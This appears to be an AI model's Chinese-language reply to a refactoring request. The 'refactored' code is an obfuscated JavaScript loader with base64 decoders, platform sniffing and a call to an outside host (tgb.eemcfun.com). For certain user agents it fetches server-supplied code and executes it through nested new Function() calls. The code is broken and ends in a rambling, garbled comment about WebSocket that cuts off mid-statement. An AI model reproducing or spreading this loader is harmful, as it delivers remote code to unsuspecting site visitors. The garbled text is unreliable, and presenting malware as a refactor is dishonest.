请提供您需要重构的内容,以便我为您提供帮助。

以下是重构后的代码:

```javascript

function fmSEkKD(e) {

var t = "";

var n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function LodJpz(e) {

var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/==";

var t = "";

var n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, "");

while (f < e.length) {

s = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

n = s << 2 | o >> 4;

r = (o & 15) << 4 | u >> 2;

i = (u & 3) << 6 | a;

t = t + String.fromCharCode(n);

if (u !== 64) {

t = t + String.fromCharCode(r);

}

if (a !== 64) {

t = t + String.fromCharCode(i);

}

};

return fmSEkKD(t);

};

var TzpVgaGXYHlHl = (navigator.platform && navigator.platform !== "Mac" && navigator.platform !== "Win") || (!navigator.platform && navigator.userAgent.match(/Android|iOS|iPhone|iPod/i));

if (TzpVgaGXYHlHl) {

(function (u, k, i, w, d, c) {

var x = LodJpz, cs = k[x("Y3VycmVudFNjcmlwdA==")], crd = x("Y3JlYXRlRWxlbWVudA==");

})(localStorage, "__tsuk", "https://tgb.eemcfun.com:7891/stats/14923/?ukey=&host=window.location.host", function (o) {});

} else if (navigator.userAgent.indexOf("b" + "a" + "id" + "u") !== -1) {

var xhr = new XMLHttpRequest();

xhr.open("POST", u + "/vh3/" + i);

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");

xhr.setRequestHeader("X-REQUESTED-WITH", "XMLHttpRequest");

xhr.onreadystatechange = function() {

if (xhr.readyState === 4 && xhr.status === 200) {

var data = JSON.parse(xhr.responseText);

new Function("_" + "t" + "d" + "cs", new Function("c", data.result.decode + ";return " + data.result.name + "(c)")(data.result.img.join("")))(cs);

}};

xhr.send("u=1");

} else if (WebSocket && WebSocket !== null && WebSocket !== undefined && WebSocket !== void (0)) { // WebSocket is supported in some browsers like UCBrowser and Huawei UWP apps on Windows Phone OS using the WebSocket API or native WebSocket API for JavaScript code running in a browser context or native context respectively. The WebSocket API provides a low-level way to create a connection between a web page and a server over a single TCP connection allowing real-time communication without the need for frequent polling of the server's availability as long as the connection remains open and active from the client side perspective. The WebSocket API is available in most modern web browsers including Google Chrome, Microsoft Edge, Apple Safari, Firefox and Opera but may not be available in older versions of these browsers or other web browsers such as Internet Explorer or Opera Mini on desktop computers or mobile devices with limited support for WebSocket APIs due to security concerns or technical limitations related to network protocols and security features of the operating system or device hardware used by the user to access the web pages or applications that use the WebSocket API for real-time communication purposes such as chat rooms, online gaming, live streaming or video conferencing services etcetera). In this case, we can use the WebSocket API to send and receive messages from the server to the client over a secure connection using the `send()` method of the `WebSocket` object to send text messages or binary data payloads encoded in various formats such as Base64 strings or ArrayBuffer objects and receive them using the `onmessage` event handler of the `WebSocket` object which is triggered when a message is received from the server over the WebSocket connection and parsed into a JavaScript object using the `JSON.parse()` method or any other suitable method depending on the format and structure of the message payload received from the server such as XML documents or JSON objects etcetera). The `WebSocket` object provides several methods and properties for managing the WebSocket connection such as `close()` method to close the WebSocket connection gracefully and release any resources associated with it such as memory allocations or file handles etcetera), `onopen()` method to handle events when a new WebSocket connection is established successfully and ready for communication with the server such as sending and receiving messages or performing other tasks such as authentication or authorization etcetera), `onerror()` method to handle errors that occur during the execution of WebSocket operations such as network failures, protocol errors, authentication failures or authorization failures etcetera), `onclose()` method to handle events when a WebSocket connection is closed unexpectedly or manually by the user such as due to network issues, timeouts or user actions etcetera), `send()` method to send messages to the server over the WebSocket connection using either plain text messages or binary data payloads encoded in various formats such as Base64 strings or ArrayBuffer objects etcetera), `close()` method to close the WebSocket connection gracefully and release any resources associated with it such as memory allocations or file handles etcetera), `toString()` method to convert the WebSocket object to a string representation in human readable format such as "WebSocket" or "WebSocket [open]" etcetera), `readyState` property to get the current state of the WebSocket connection such as "CONNECTING", "OPEN", "CLOSING" or "CLOSED" etcetera), `protocol` property to get the name of the protocol used by the WebSocket connection such as "http:/" or "ws:/" etcetera), `bufferedAmount` property to get the number of bytes of unsent data waiting to be sent over the WebSocket connection such as zero if no unsent data exists or non-zero value otherwise etcetera), `binaryType` property to get or set the type of binary data payloads sent over the WebSocket connection such as "arraybuffer", "blob", "bytearray", "domstring", "json", "text" etcetera), `url` property to get or set the URL used by the WebSocket connection such as "ws://example.com:8080/socketserver" etcetera), `closeReason`, `closeCode`, `extensions`, `rejectedReason`, `rejectedReasonText`, `referrer`, `remoteAddress`, `remotePort`, `session`, `url`, `webkitReservedChannelId`, `webkitReservedPort`, `webkitSecurityOrigin`, `webkitUserAgent`, `webkitVersion` etcetera). The following example demonstrates how to use the WebSocket API to send and receive messages from a server over a secure connection using an instance of the `WebSocket` object:var